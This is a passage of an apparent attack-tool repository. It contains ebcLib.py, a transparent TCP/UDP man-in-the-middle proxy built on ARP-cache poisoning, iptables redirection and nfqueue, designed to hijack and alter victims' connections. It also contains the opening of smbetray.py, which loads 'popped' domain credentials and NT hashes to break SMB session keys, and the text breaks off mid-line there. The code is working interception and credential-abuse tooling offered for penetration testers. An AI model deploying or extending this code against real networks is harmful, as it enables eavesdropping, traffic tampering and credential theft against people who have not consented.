& UDP proxy, for editing packets on the fly in arp-cache 4 | poisoning attacks. This is a solution in response to bettercap's requirement to know 5 | the "upstream" proxy address at the time of setup in order to perform a true TCP mitm. 6 | However, that knowledge is hard to come by ahead of time, and it limits the attack to 7 | only one "upstream" server at a time. 8 | 9 | EvenBetterCap(EBC) allows you to mitm multiple tcp/udp connection(s) with varying destinations 10 | in parallel, without knowing the victim's destination ahead of time. 11 | 12 | EBC was written with simplicity in mind; To make it as simple as possible for pentesters to 13 | write their own modules to parse and/or modify TCP/UDP packets in a MiTM attack. 14 | The library is only composed of two components: the MiTMServer, and the MiTMModule. 15 | 16 | MiTMModule's are the plug-and-play objects that actually parse and edit the victim's requests 17 | and the server's responses in a TCP/UDP MiTM attack. To create your own, simply declare 18 | a child class of MiTMModule, and re-define the parseClientRequest and parseServerResponse methods. 19 | Checkout the ExampleMod as an example, or the sampleMitmServer.py file for a clearer example of how 20 | to use EBC. 21 | Author: @Quickbreach 22 | ''' 23 | 24 | import logging 25 | from scapy.all import IP, TCP, UDP 26 | import netfilterqueue 27 | import copy 28 | import random 29 | import string 30 | import socket 31 | import traceback 32 | import threading 33 | import subprocess 34 | import netifaces 35 | from multiprocessing import Manager 36 | import Queue 37 | import copy 38 | import os 39 | from threading import Thread 40 | from binascii import hexlify 41 | 42 | VERSION = "1.0.0" 43 | 44 | # A small struct/class to more easily manage existing/new connections 45 | class Connection(object): 46 | def __init__(self, client_ip = "", server_ip = "", client_port = 0, server_port = 0, protocol = "TCP", interface = ""): 47 | self.client_ip = client_ip 48 | self.server_ip = server_ip 49 | self.client_port = client_port 50 | self.server_port = server_port 51 | self.protocol = protocol.lower() 52 | self.interface = interface 53 | 54 | # This returns just the source address & port in a string format 55 | # so that it can be hashed and tied back to the connectionManager. 56 | # The protocol, source address, and port are the only shared pieces of information 57 | # that both the MiTMModule socket and nfqueue intercept have access to, so 58 | # nfqueue hashes this info together and uses that hash as the key in the 59 | # connectionMnaager. Once the MiTMModule recieves the intercepted connection, 60 | # it will hash the proto/source ip/port to pull back the whole Connection 61 | # object from the connectionManager - and thus - have the destination ip and port 62 | # to then behave like a fully transparent TCP/UDP MiTM server. 63 | def getMark(self): 64 | return "[" + str(self.protocol.upper()) + "] " + str(self.client_ip) + ":" + str(self.client_port) 65 | 66 | def __eq__(self, other): 67 | # client to server 68 | if(self.client_ip == other.client_ip): 69 | if(self.server_ip == other.server_ip): 70 | if(self.client_port == other.client_port): 71 | if(self.server_port == other.server_port): 72 | return True 73 | return False 74 | 75 | def __str__(self): 76 | return "[" + str(self.protocol.upper()) + "] " + str(self.client_ip) + ":" + str(self.client_port) + " -> " + str(self.server_ip) + ":" + str(self.server_port) 77 | 78 | # MiTMServer - A fully modular and transparent UDP/TCP proxy server that leverages nfqueue and iptables to run mitm attacks 79 | # Usage: 80 | # 0. Setup a bi-directional arp-cache poisoning attack with ip_forwarding enabled on your machine (Pro tip: run "sysctl net.ipv4.ip_forward=1") 81 | # 1. Declare an instance of a MiTMModule 82 | # 2. Declare an instance of a MiTMServer as 'MiTMServer(desired_port, either "TCP" or "UDP", MiTMModule_instance, T/F for newInstance)' 83 | # 3. MiTMServer.start() -- you can run multiple servers with different ports in multiple threads 84 | # 4. Profit 85 | class MiTMServer(Thread): 86 | # Required arguments: 87 | # [int] port - the port on which to hijack connections 88 | # [str] protocol - either "TCP" or "UDP" 89 | # [str] iface - the interface to run the attack on 90 | # [object] mitmInstance - an instance of a MiTMModule 91 | # Optional: 92 | # [bool] newInstance - T/F on if each new connection should be handled by 93 | # a new instance of the MiTMModule passed, or (false) if all 94 | # connections should be handled by the same instance. 95 | def __init__(self, port, protocol, iface, mitmInstance, newInstance = False): 96 | logging.getLogger(__name__).addHandler(logging.NullHandler()) 97 | self.logger = logging.getLogger(__name__) 98 | self.logger.setLevel(logging.ERROR) 99 | 100 | self.port = int(port) 101 | self.protocol = protocol.upper() 102 | self.interface = iface 103 | self.mitmInstance = mitmInstance 104 | self.myIp = netifaces.ifaddresses(self.interface)[2][0]['addr'] 105 | 106 | self.newInstance = newInstance # Every new connection should/should not be handled by a new copy of the mitmInstance 107 | 108 | if(self.protocol.upper() == "TCP"): 109 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 110 | else: 111 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 112 | 113 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 114 | self.sock.bind((self.myIp, self.port)) 115 | 116 | z = Manager() 117 | self.connectionManager = z.dict() 118 | self.iptablesFlag = "MiTMServer_" + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(12)) 119 | self.nfqueueNum = random.randint(2000, 9999) 120 | self.nfqueueThread = threading.Thread(target = self.nfqueueBinder) 121 | 122 | self.myThreads = [] 123 | 124 | super(MiTMServer, self).__init__() 125 | pass 126 | 127 | # Deep copy data and/or objects, with exceptions of shared-memory-objects like proxydicts (which get shallow copied) 128 | def smartCopy(self, data): 129 | if(type(data) == dict): 130 | newDict = dict() 131 | for key, item in data.iteritems(): 132 | newDict[key] = self.smartCopy(item) 133 | return newDict 134 | if(type(data) == list): 135 | newLs = [] 136 | for item in data: 137 | newLs.append(self.smartCopy(item)) 138 | return newLs 139 | 140 | retData = None 141 | try: 142 | # 143 | if(type(data) == multiprocessing.Manager().dict()): raise(Exception("")) 144 | # 145 | if(type(data) == threading.Lock()): raise(Exception("")) 146 | retData = copy.deepcopy(data) 147 | except: 148 | try: 149 | retData = copy.copy(data) 150 | except: 151 | retData = data 152 | return retData 153 | 154 | # Prep the firewall for NFqueue + redirection with arp-cache poisoning in mind 155 | def openFirewall(self): 156 | self.logger.debug("[ebcLib.py] Modifying firewall rules for "+self.protocol + "/" + str(self.port)+" attack") 157 | cmds = [] 158 | 159 | # Set up IP forwarding 160 | cmds.append("sysctl net.ipv4.ip_forward=1") 161 | # Disable sending redirects 162 | cmds.append("echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects") 163 | # Allow forwarding through the firewall 164 | cmds.append("iptables -A FORWARD -m comment --comment " + self.iptablesFlag + " -j ACCEPT") 165 | 166 | # Nfqueue intercepts every NEW connection and 167 | # processes it with nfqueueHandler before 168 | # passing it on to the actual mitmInstance server 169 | cmds.append("iptables -t nat -A PREROUTING" + \ 170 | " -i " + self.interface + \ 171 | " -p " + self.protocol.lower() + \ 172 | " --dport " + str(self.port) + \ 173 | " -m mark ! --mark " + str(self.nfqueueNum) + \ 174 | " -m conntrack --ctstate NEW" + \ 175 | " -j NFQUEUE --queue-num " + str(self.nfqueueNum) + \ 176 | " -m comment --comment " + self.iptablesFlag) 177 | 178 | # After nfqueue is done with it, it gets passed 179 | # to the MiTMServer.listen() method 180 | cmds.append("iptables -t nat -A PREROUTING" + \ 181 | " -i " + self.interface + \ 182 | " -p " + self.protocol.lower() + \ 183 | " --dport " + str(self.port) + \ 184 | " -j DNAT --to " + self.myIp + ":" + str(self.port) + \ 185 | " -m comment --comment " + self.iptablesFlag) 186 | 187 | # Accept the routed packets to the MiTMServer.listen() 188 | # function, which will then start a thread of the listenToClient 189 | # function to 'be in charge' of this connection and directly handle 190 | # every subsequent message until the connection is closed 191 | cmds.append("iptables -A INPUT" + \ 192 | " -i " + self.interface + \ 193 | " -p " + self.protocol.lower() + \ 194 | " --dport " + str(self.port) + \ 195 | " -m comment --comment " + self.iptablesFlag + \ 196 | " -j ACCEPT") 197 | 198 | # Masquerade our IP when we reply to the victim 199 | cmds.append("iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE -m comment --comment " + self.iptablesFlag) 200 | 201 | # Reset any existing connections so that they get picked up by our intercept 202 | cmds.append("conntrack -D -p " + self.protocol.upper() + " --sport " + str(self.port)) 203 | cmds.append("conntrack -D -p " + self.protocol.upper() + " --dport " + str(self.port)) 204 | 205 | # Run all of the commands spelled out above 206 | for z in cmds: 207 | self.logger.debug("[ebcLib.py] Running command: " + z) 208 | c = subprocess.Popen(z.split(" "), stdout = subprocess.PIPE, stderr = subprocess.PIPE) 209 | c.communicate() 210 | 211 | # Roll back our firewall changes 212 | def closeFirewall(self): 213 | self.logger.info("[ebcLib.py] Removing firewall rules from "+self.protocol + "/" + str(self.port)+" attack") 214 | cmds = [] 215 | 216 | # Undo everything from the MiTMServer.openFirewall function 217 | cmds.append("iptables -D FORWARD -m comment --comment " + self.iptablesFlag + " -j ACCEPT") 218 | 219 | # Undo everything from the MiTMServer.openFirewall function 220 | cmds.append("iptables -t nat -D PREROUTING" + \ 221 | " -i " + self.interface + \ 222 | " -p " + self.protocol + \ 223 | " --dport " + str(self.port) + \ 224 | " -m mark ! --mark " + str(self.nfqueueNum) + \ 225 | " -m conntrack --ctstate NEW" + \ 226 | " -j NFQUEUE --queue-num " + str(self.nfqueueNum) + \ 227 | " -m comment --comment " + self.iptablesFlag) 228 | 229 | # Undo everything from the MiTMServer.openFirewall function 230 | cmds.append("iptables -t nat -D PREROUTING" + \ 231 | " -i " + self.interface + \ 232 | " -p " + self.protocol + \ 233 | " --dport " + str(self.port) + \ 234 | " -j DNAT --to " + self.myIp + ":" + str(self.port) + \ 235 | " -m comment --comment " + self.iptablesFlag) 236 | 237 | # Undo everything from the MiTMServer.openFirewall function 238 | cmds.append("iptables -D INPUT" + \ 239 | " -i " + self.interface + \ 240 | " -p " + self.protocol.lower() + \ 241 | " --dport " + str(self.port) + \ 242 | " -m comment --comment " + self.iptablesFlag + \ 243 | " -j ACCEPT") 244 | 245 | # Undo everything from the MiTMServer.openFirewall function 246 | cmds.append("iptables -t nat -D POSTROUTING -s 0/0 -j MASQUERADE -m comment --comment " + self.iptablesFlag) 247 | 248 | # Run the commands 249 | for z in cmds: 250 | self.logger.debug("[ebcLib.py] Running command: " + z) 251 | c = subprocess.Popen(z.split(" "), stdout = subprocess.PIPE, stderr = subprocess.PIPE) 252 | c.communicate() 253 | self.logger.debug("[ebcLib.py] Firewall restored from "+self.protocol + "/" + str(self.port)+" attack") 254 | 255 | # This recieves the new connections from the victim - 256 | # and grabs the dest ip & dest port & passes it on to the intercept servers 257 | # allowing for transparency 258 | def nfqueueHandler(self, packet): 259 | pkt = IP(packet.get_payload()) #Converts the raw packet to a scapy object 260 | target = pkt.dst 261 | victim = pkt.src 262 | nc = Connection(pkt.src, pkt.dst, pkt[self.protocol].sport, pkt[self.protocol].dport, self.protocol, self.interface) 263 | key = hash(str(nc.getMark())) 264 | self.connectionManager[key] = nc 265 | 266 | # Mark the packet so nfqueue won't touch it on the next iteration 267 | packet.set_mark(self.nfqueueNum) 268 | # Now that we've recoreded and marked the packet, 269 | # let's have the kernel present the packet to us again as if it were new. 270 | # This time NFqueue won't touch it, and it will be passed to the intercept servers 271 | packet.repeat() 272 | return 273 | 274 | # This gets seperated off into a thread, it runs nfqueue 275 | # which is the most critical part. Without it, the proxy 276 | # cannot be transparent 277 | def nfqueueBinder(self): 278 | self.logger.debug("[ebcLib.py] Binding nfqueue...") 279 | nfqueue = netfilterqueue.NetfilterQueue() 280 | nfqueue.bind(self.nfqueueNum, self.nfqueueHandler) 281 | nfqueue.run() 282 | 283 | # This listens for new requests and handles them 284 | # TCP - forks them off to their own threads 285 | # UDP - directly calls the mitmInstance since it's a "stateless" protocol 286 | def listen(self): 287 | try: 288 | # Open up the firewall 289 | self.openFirewall() 290 | # Start up nfqueue bind 291 | self.nfqueueThread.daemon = True 292 | self.nfqueueThread.start() 293 | # Start up the TCP intercept server 294 | if(self.protocol == "TCP"): 295 | self.sock.listen(5) 296 | self.logger.info("[ebcLib.py] Started " + self.protocol + "/" + str(self.port) + " intercept server") 297 | while True: 298 | client, address = self.sock.accept() 299 | client.settimeout(60) 300 | self.myThreads.append(threading.Thread(target = self.victimHandler, args = (client, address))) 301 | self.myThreads[-1].daemon = True 302 | self.myThreads[-1].start() 303 | ''' 304 | # TODO: Add UDP support 305 | if(self.protocol == "UDP"): 306 | self.logger.info("Starting " + self.protocol + "/" + str(self.port) + " intercept server...") 307 | while True: 308 | data, address = self.sock.recvfrom() 309 | # Check if nfqueue was able to grab the important info 310 | nc = Connection(str(address[0]), '', int(address[1]), '', self.protocol, self.interface) 311 | key = hash(str(nc.getMark())) 312 | if key not in self.connectionManager: 313 | self.logger.debug("Connection was not found in nfqueue populated dict") 314 | continue 315 | resp = self.mitmInstance.run_mitm(data) 316 | self.sock.sendto(resp, (address[0], address[1])) 317 | ''' 318 | except KeyboardInterrupt: 319 | self.logger.debug("[ebcLib.py] Shutting down......") 320 | self.shutdown() 321 | return 322 | self.shutdown() 323 | return 324 | 325 | # This is the thread in which a hijacked TCP/UDP connection is 326 | # handled in its own thread 327 | def victimHandler(self, client, address): 328 | try: 329 | size = 9999 330 | mitmObject = self.mitmInstance 331 | # Check if nfqueue was able to grab the dest address & dest port info 332 | nc = Connection(str(address[0]), '', int(address[1]), '', self.protocol, self.interface) 333 | key = hash(str(nc.getMark())) 334 | if key not in self.connectionManager: 335 | self.logger.debug("[ebcLib.py] Connection was not found in nfqueue populated dict") 336 | return False 337 | else: 338 | self.logger.info("[ebcLib.py] Hijacked " + self.protocol.upper() + " connection between " + str(self.connectionManager[key])) 339 | 340 | # If a new instance should be used in each new connection, 341 | # then create a new deepcopy of the original un-touched mitmInstance 342 | if self.newInstance == True: 343 | mitmObject = self.mitmInstance.__class__() 344 | for member in dir(self.mitmInstance): 345 | if not callable(getattr(self.mitmInstance, member)) and not member.startswith("__"): 346 | setattr(mitmObject, str(member), self.smartCopy(getattr(self.mitmInstance, member))) 347 | 348 | # Provide the mitmObject with all of the data it needs to perform the attack 349 | mitmObject.MiTMModuleConfig['Connection'] = self.connectionManager[key] 350 | mitmObject.MiTMModuleConfig['clientRequestQueue'] = Queue.Queue() 351 | mitmObject.MiTMModuleConfig['hackedRequestQueue'] = Queue.Queue() 352 | mitmObject.MiTMModuleConfig['serverResponseQueue'] = Queue.Queue() 353 | mitmObject.MiTMModuleConfig['hackedResponseQueue'] = Queue.Queue() 354 | 355 | # These exist for connections where the data does not have a 1:1 ratio of send to recieve 356 | # ie. the client sends 1 request and the server sends two replies 357 | theListener = ASyncReciever(client, mitmObject.MiTMModuleConfig['clientRequestQueue'], self.connectionManager[key]) 358 | theSender = ASyncSender(client, mitmObject.MiTMModuleConfig['hackedResponseQueue'], self.connectionManager[key]) 359 | theListener.daemon = True 360 | theSender.daemon = True 361 | theSender.start() 362 | theListener.start() 363 | 364 | 365 | mitmObject.run_mitm() 366 | try: 367 | while theListener.isAlive(): 368 | # theListener disregards '-1', so this join does nothing 369 | theListener.join(-1) 370 | except KeyboardInterrupt: 371 | theListener.join(0) 372 | theSender.join(0) 373 | except: 374 | theListener.join(0) 375 | theSender.join(0) 376 | return 377 | except KeyboardInterrupt: 378 | if theListener is not None and theListener.isAlive(): 379 | theListener.join(0) 380 | if theSender is not None and theSender.isAlive(): 381 | theSender.join(0) 382 | return 383 | 384 | # Reset the firewall, kill the threads, etc 385 | def shutdown(self): 386 | self.closeFirewall() 387 | return 388 | 389 | # Called by the parent Thread class "start" function 390 | def run(self): 391 | self.listen() 392 | 393 | # If the timeout == -1, then this does nothing 394 | # otherwise, it initiates the shutdown 395 | def join(self, timeout=None): 396 | if timeout == -1: 397 | return 398 | self.shutdown() 399 | super(MiTMServer, self).join(timeout) 400 | 401 | 402 | # Split the data returned into 1500 byte chunks to prevent python from crashing 403 | def splitData(data, length = 1500): 404 | return (data[0+i:length+i] for i in range(0, len(data), length)) 405 | 406 | class ASyncSender(Thread): 407 | def __init__(self, client, serverResponseQueue, connectionInfo): 408 | logging.getLogger(__name__).addHandler(logging.NullHandler()) 409 | self.logger = logging.getLogger(__name__) 410 | self.client = client 411 | self.serverResponseQueue = serverResponseQueue 412 | self.connInfo = connectionInfo 413 | super(ASyncSender, self).__init__() 414 | 415 | def sendToClient(self): 416 | while True: 417 | try: 418 | data = self.serverResponseQueue.get() 419 | if(data == None or len(data) == 0): 420 | continue 421 | self.client.sendall(data) 422 | except KeyboardInterrupt: 423 | self.client.close() 424 | return False 425 | break 426 | except Exception, e: 427 | # self.logger.info("[ASyncSender::sendToClient] " + str(e) + traceback.format_exc()) 428 | self.logger.debug("[ebcLib.py] Victim disconnected: [END] " + str(self.connInfo)) 429 | self.client.close() 430 | return False 431 | def run(self): 432 | self.sendToClient() 433 | 434 | def join(self, timeout=None): 435 | if timeout == -1: 436 | return 437 | try: 438 | self.client.shutdown() 439 | self.client.close() 440 | except Exception, e: 441 | pass 442 | super(ASyncSender, self).join(timeout) 443 | class ASyncReciever(Thread): 444 | def __init__(self, client, clientRequestQueue, connectionInfo): 445 | logging.getLogger(__name__).addHandler(logging.NullHandler()) 446 | self.logger = logging.getLogger(__name__) 447 | self.client = client 448 | self.clientRequestQueue = clientRequestQueue 449 | self.connInfo = connectionInfo 450 | super(ASyncReciever, self).__init__() 451 | def listenToClient(self): 452 | while True: 453 | try: 454 | data = self.client.recv(4096) 455 | if(data == None or len(data) == 0): 456 | continue 457 | self.clientRequestQueue.put(data) 458 | except KeyboardInterrupt: 459 | self.client.close() 460 | return False 461 | break 462 | except Exception, e: 463 | self.logger.info("[ebcLib.py] Victim disconnected: [END] " + str(self.connInfo)) 464 | self.client.close() 465 | return False 466 | def run(self): 467 | self.listenToClient() 468 | def join(self, timeout=None): 469 | if timeout == -1: 470 | return 471 | try: 472 | self.client.shutdown() 473 | self.client.close() 474 | except Exception, e: 475 | try: 476 | self.client.close() 477 | except: 478 | pass 479 | pass 480 | super(ASyncReciever, self).join(timeout) 481 | 482 | # MiTMModule - The backbone MiTMModule for the MiTMServer. To use it, 483 | # define a child class and then re-define only the parseClientRequest and parseServerResponse functions to fit your needs. 484 | # These methods will be passed the raw data from within the intercepted TCP/UDP packet - not the TCP/UDP packet itself. 485 | # 486 | # Bonus feature: You can also re-define the "setup(self): " function. It will be called at the end of the init function, 487 | # which allows you to easily initialize globale variables that can be used by the parseClientRequest and 488 | # parseServerResponse functions. 489 | # 490 | # See the ExampleMod class for an example 491 | # 492 | # The returned data from these functions will be swapped into the original TCP/UDP packet and sent onwards 493 | class MiTMModule(object): 494 | # Opens the connection for us to use to communicate 495 | # with the target server, then starts the threads for listening 496 | # & sending 497 | def run_mitm(self): 498 | 499 | clientHandler = None 500 | serverHandler = None 501 | try: 502 | if self.MiTMModuleConfig['Connection'].protocol == "udp": 503 | self.NETClient = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 504 | return 505 | elif self.MiTMModuleConfig['Connection'].protocol == "tcp": 506 | NETClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 507 | NETClient.connect((self.MiTMModuleConfig['Connection'].server_ip, self.MiTMModuleConfig['Connection'].server_port)) 508 | 509 | sender = ASyncSender(NETClient, self.MiTMModuleConfig['hackedRequestQueue'], self.MiTMModuleConfig['Connection']) 510 | listener = ASyncReciever(NETClient, self.MiTMModuleConfig['serverResponseQueue'], self.MiTMModuleConfig['Connection']) 511 | 512 | listener.daemon = True 513 | sender.daemon = True 514 | listener.start() 515 | sender.start() 516 | 517 | clientHandler = Thread(target = self.threadListenForRequests) 518 | serverHandler = Thread(target = self.threadListenForResponses) 519 | 520 | clientHandler.daemon = True 521 | serverHandler.daemon = True 522 | 523 | clientHandler.start() 524 | serverHandler.start() 525 | try: 526 | if(clientHandler == None): 527 | return 528 | if(serverHandler == None): 529 | return 530 | while clientHandler.isAlive(): 531 | # theListener disregards '-1', so this join does nothing 532 | clientHandler.join(-1) 533 | 534 | 535 | while serverHandler.isAlive(): 536 | # theListener disregards '-1', so this join does nothing 537 | serverHandler.join(-1) 538 | 539 | except KeyboardInterrupt: 540 | clientHandler.join(0) 541 | serverHandler.join(0) 542 | return 543 | else: 544 | raise Exception("Only SOCK_STREAM and SOCK_DGRAM are supported!") 545 | except Exception, e: 546 | # self.logger.error("[" + self.__class__.__name__ + "::run_mitm] " + str(e) + traceback.format_exc()) 547 | if clientHandler is not None and clientHandler.isAlive(): 548 | clientHandler.join(0) 549 | if serverHandler is not None and serverHandler.isAlive(): 550 | serverHandler.join(0) 551 | return 552 | 553 | def threadListenForRequests(self): 554 | while True: 555 | try: 556 | req = self.parseClientRequest(self.MiTMModuleConfig['clientRequestQueue'].get()) 557 | if (req == None or len(req) == 0): 558 | continue 559 | for z in splitData(req): 560 | self.MiTMModuleConfig['hackedRequestQueue'].put(z) 561 | except Exception, e: 562 | self.logger.error("[" + self.__class__.__name__ + "::threadListenForRequests] " + str(e) + " " + str(traceback.format_exc())) 563 | pass 564 | def threadListenForResponses(self): 565 | while True: 566 | try: 567 | resp = self.parseServerResponse(self.MiTMModuleConfig['serverResponseQueue'].get()) 568 | if (resp == None or len(resp) == 0): 569 | continue 570 | for z in splitData(resp): 571 | self.MiTMModuleConfig['hackedResponseQueue'].put(z) 572 | except Exception, e: 573 | self.logger.error("[" + self.__class__.__name__ + "::threadListenForResponses] " + str(e) + " " + str(traceback.format_exc())) 574 | pass 575 | 576 | # Closes the connection and sets NETClient to None 577 | def closeConnection(self): 578 | if self.MiTMModuleConfig['protocol'] == socket.SOCK_STREAM: 579 | self.NETClient.close() 580 | self.NETClient = None 581 | # (optional) Use this after init to pass custom variables to the instance. Access them with 582 | # self.info['MyVarName'] 583 | def addCustomData(self, **kwargs): 584 | # Add each piece of data to the global "info" dictionary 585 | for key in kwargs: 586 | self.info[key] = kwargs[key] 587 | # (optional) Re-define this function and use it as a make-shift init(). This function will be called with no arguments 588 | # once - right after the object is initalized. Use it to establish global variables and such for the instance. 589 | def setup(self): 590 | #self.myCustomVar = 30 591 | #self.statefulVariable = "you get the idea" 592 | #self.Useful = True #probably 593 | pass 594 | # (required) This returns the hacked request that will be sent to the real server 595 | def parseClientRequest(self, request): 596 | # Override this function as a child class 597 | raise Exception("[MiTMModule] This is not how to use the MiTMModule class! You must define a child class of it, and then re-define parseClientRequest and parseServerResponse") 598 | return request 599 | # (required) Returns the hacked response sent to the real client 600 | def parseServerResponse(self, response): 601 | # Override this function as a child class 602 | raise Exception("[MiTMModule] This is not how to use the MiTMModule class! You must define a child class of it, and then re-define parseClientRequest and parseServerResponse") 603 | return response 604 | # Don't worry about any of this - all of this is filled in by the MiTMServer 605 | def __init__(self): 606 | 607 | self.MiTMModuleConfig = dict() 608 | # Trust me, leave this as None and let the initConnection and resetConnection methods 609 | # handle this from inside the threads they run within 610 | self.NETClient = None 611 | self.info = dict() 612 | 613 | # Run the setup function, in the event it may have been re-defined 614 | self.setup() 615 | return 616 | 617 | 618 | # ExampleMod - an example of how to use the MiTMModule 619 | # 1. Define a child class 620 | # 2. Re-define the parseClientRequest and parseServerResponse functions to fit your needs of data editing/etc. Make each function 621 | # return the replacement data for the packet which will be sent over to the legitimate destination. 622 | # 3. Profit 623 | class ExampleMod(MiTMModule): 624 | 625 | # Modify the data sent from the client to the server 626 | def parseClientRequest(self, request): 627 | print("Client request:\n" + hexlify(request)) 628 | # Modify the "request" data here, and then send it over to the server 629 | return request 630 | 631 | # Modify the data sent from the server back to the client 632 | def parseServerResponse(self, response): 633 | print("Server response:\n" + hexlify(response)) 634 | # Modify the "response" data here, and then send it over to the client 635 | return response 636 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | netifaces>=0.10.5 2 | pyasn1>=0.1.9 3 | pylnk>=0.2 4 | pycrypto>=2.6.1 5 | impacket>=0.9.17 6 | netfilterqueue>=0.8.1 7 | scapy>=2.4.0 8 | -------------------------------------------------------------------------------- /smbetray.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import argparse 3 | from binascii import hexlify, unhexlify 4 | import logging 5 | from impacket.examples import logger 6 | import os 7 | # For sharing data across threads 8 | from multiprocessing import Manager, Queue 9 | from threading import Lock, Thread 10 | import copy 11 | 12 | # 13 | from lib import ebcLib 14 | from lib.SMB1_Lib import SMB1_Lib 15 | from lib.SMB2_Lib import SMB2_Lib 16 | from lib.K2TKerb import K2TKerb 17 | from lib.SMB_Core import PoppedCreds 18 | from impacket.smb3structs import SMB2Packet, SMB2Read_Response 19 | from impacket.nmb import NetBIOSSessionPacket 20 | from hashlib import md5 21 | import re 22 | import time 23 | # Colors 24 | from lib.bcolors import bcolors 25 | 26 | 27 | # Logger, for easy output when dealing with threads 28 | logger.init() 29 | logging.getLogger().setLevel(logging.INFO) 30 | 31 | 32 | class AttackConfig(object): 33 | DIALECT_DOWNGRADE = False 34 | AUTHMECH_DOWNGRADE = False 35 | AUTHMECH_DOWNGRADE_K311 = False 36 | POPPED_CREDS_FILE = None 37 | 38 | PASSIVE_OUTPUT_DIR = None 39 | INJECT_FILES_DIR = None 40 | HASH_OUTPUT_FILE = None 41 | 42 | LNK_SWAP_ALL = None 43 | LNK_SWAP_EXEC_ONLY = None 44 | 45 | EXTENSION_SWAP_DIR = None 46 | FILENAME_SWAP_DIR = None 47 | 48 | 49 | # This just live-monitors the file 50 | # holding compromised credentials, and 51 | # loads them into a shared memory object 52 | # so that SMBetray/K2TKerb can use them 53 | # to break keys. One set of creds per line. 54 | # 55 | # [FILE FORMAT] domain/username and password are seperated by a single space. " " 56 | # 57 | # DOMAIN/Username password 58 | # or 59 | # DOMAIN/Username aad3b435b51404eeaad3b435b51404ee:39c0d0c980e8dde6cc31edc4a74cd914 60 | # 61 | class CredFileWatcher(Thread): 62 | def __init__(self, credFile, poppedCredsDB, poppedCredsDB_Lock): 63 | self.credFile = credFile 64 | self.poppedCredsDB = poppedCredsDB 65 | self.poppedCredsDB_Lock = poppedCredsDB_Lock 66 | self.suicide = False 67 | super(CredFileWatcher, self).__init__() 68 | 69 | # Called by the parent Thread class "start" function 70 | def run(self): 71 | oldHash = "firstRun" 72 | logging.info("[CredFileWatcher] Watching " + self.credFile) 73 | while True: 74 | if(self.suicide): 75 | return 76 | m_handle = md5() 77 | m_handle.update(open(self.credFile, "r").read()) 78 | newHash = m_handle.digest() 79 | 80 | if(newHash != oldHash): 81 | # File has been changed 82 | oldHash = newHash 83 | for line in open(self.credFile, "r"): 84 | try: 85 | # Reset 86 | ntHash = False 87 | line = line.replace("\n", "").replace("\r", "") 88 | domain = line.split("/")[0] 89 | username = line.split("/")[1].split(" ")[0] 90 | password = line[line.find(" ")+1:] 91 | popped = PoppedCreds(username, password, domain) 92 | # If we're given an LM:NT hash (eg. aad3b435b51404eeaad3b435b51404ee:be692b029663e38fa07d13e3228cf0be) 93 | if(len(re.findall(r'^\w{32}:\w{32}$', password)) > 0): 94 | ntHash = True 95 | del(popped) 96 | popped = PoppedCreds(username = username, domain = domain, lm_hash = unhexlify(password[password.find(" ")+1:password.find(":")]), nt_hash = unhexlify(password[password.find(":")+1:])) 97 | # Check if it's already in the DB 98 | if(hash(popped) not in self.poppedCredsDB.keys()): 99 | self.poppedCredsDB_Lock.acquire() 100 | try: 101 | self.poppedCredsDB[hash(popped)] = copy.deepcopy(popped) 102 | logging.info("[CredFileWatcher] Loaded creds of " + popped.domain + "/" + popped.username) 103 | except Exception, e: 104 | logging.error("[CredFileWatcher::watch] " + str(e)) 105 | pass 106 | self.poppedCredsDB_Lock.release() 107 | except Exception, e: 108 | logging.error("[CredFileWatcher::watch] " + str(e)) 109 | continue 110 | time.sleep(.5) 111 | 112 | # If the timeout == -1, then this does nothing 113 | # otherwise, it initiates the shutdown 114 | def join(self, timeout = None): 115 | if timeout == -1: 116 | return 117 | self.suicide = True 118 | super(CredFileWatcher, self).join(timeout) 119 | 120 | # This is the grand controller. It's just a mainly empty 121 | # router that: 122 | # 1. Compiles split-up netbios packets, and 123 | # 2. Passes the packet to the appropriate library( 124 | # (SMB2/3 packets to SMB2_Lib, SMB1 packets to SMB1_Lib) 125 | class SMBetray(ebcLib.MiTMModule): 126 | # This function is called by the MiTMModule.__init__ 127 | def setup(self): 128 | self.SMBTool = None 129 | 130 | # This is a make-shift solution to SMB messages that get broken up, such as 131 | # read responses which may be broken down to 1500 bytes per message. 132 | self.SRV_INCOMPLETE_MESSAGE = False 133 | self.SRV_MESSAGE_DATA = "" 134 | self.SRV_MESSAGE_LENGTH = 0 135 | 136 | self.CLT_INCOMPLETE_MESSAGE = False 137 | self.CLT_MESSAGE_DATA = "" 138 | self.CLT_MESSAGE_LENGTH = 0 139 | 140 | pass 141 | 142 | # Modify the raw data sent from the client to the server 143 | def parseClientRequest(self, request): 144 | SMB1_Header = '\xff\x53\x4d\x42' 145 | SMB2_Header = '\xfe\x53\x4d\x42' 146 | 147 | # If we're in the middle of compiling the data from one very large split up packet, continue to do so 148 | if(self.CLT_INCOMPLETE_MESSAGE): 149 | self.CLT_MESSAGE_DATA += request 150 | if(len(self.CLT_MESSAGE_DATA) == self.CLT_MESSAGE_LENGTH): 151 | request = str(self.CLT_MESSAGE_DATA) 152 | self.CLT_MESSAGE_DATA = "" 153 | self.CLT_MESSAGE_LENGTH = 0 154 | self.CLT_INCOMPLETE_MESSAGE = False 155 | else: 156 | # We're still waiting for the remainder of this packet, so don't return a response, thus we hold off passing the request to the server 157 | return 158 | # Verify we got an SMB packet wrapped inside of a NetBIOS packet 159 | try: 160 | raw = NetBIOSSessionPacket(data = request) 161 | if(len(str(request)) < raw.length): 162 | self.CLT_INCOMPLETE_MESSAGE = True 163 | self.CLT_MESSAGE_DATA = str(request) 164 | self.CLT_MESSAGE_LENGTH = raw.length + 4 165 | # Don't return a response, thus we hold off passing the request to the server 166 | return 167 | except Exception, e: 168 | logging.debug("[SMBetray::parseClientRequest] " + str(e) + " " + traceback.format_exc()) 169 | return request 170 | 171 | # Cool, now we've got the entire re-compiled packet. 172 | # Now lets do something with it 173 | 174 | # Handle SMBv1 packets 175 | if(request[4:8] == SMB1_Header): 176 | if(self.SMBTool.__class__.__name__ != 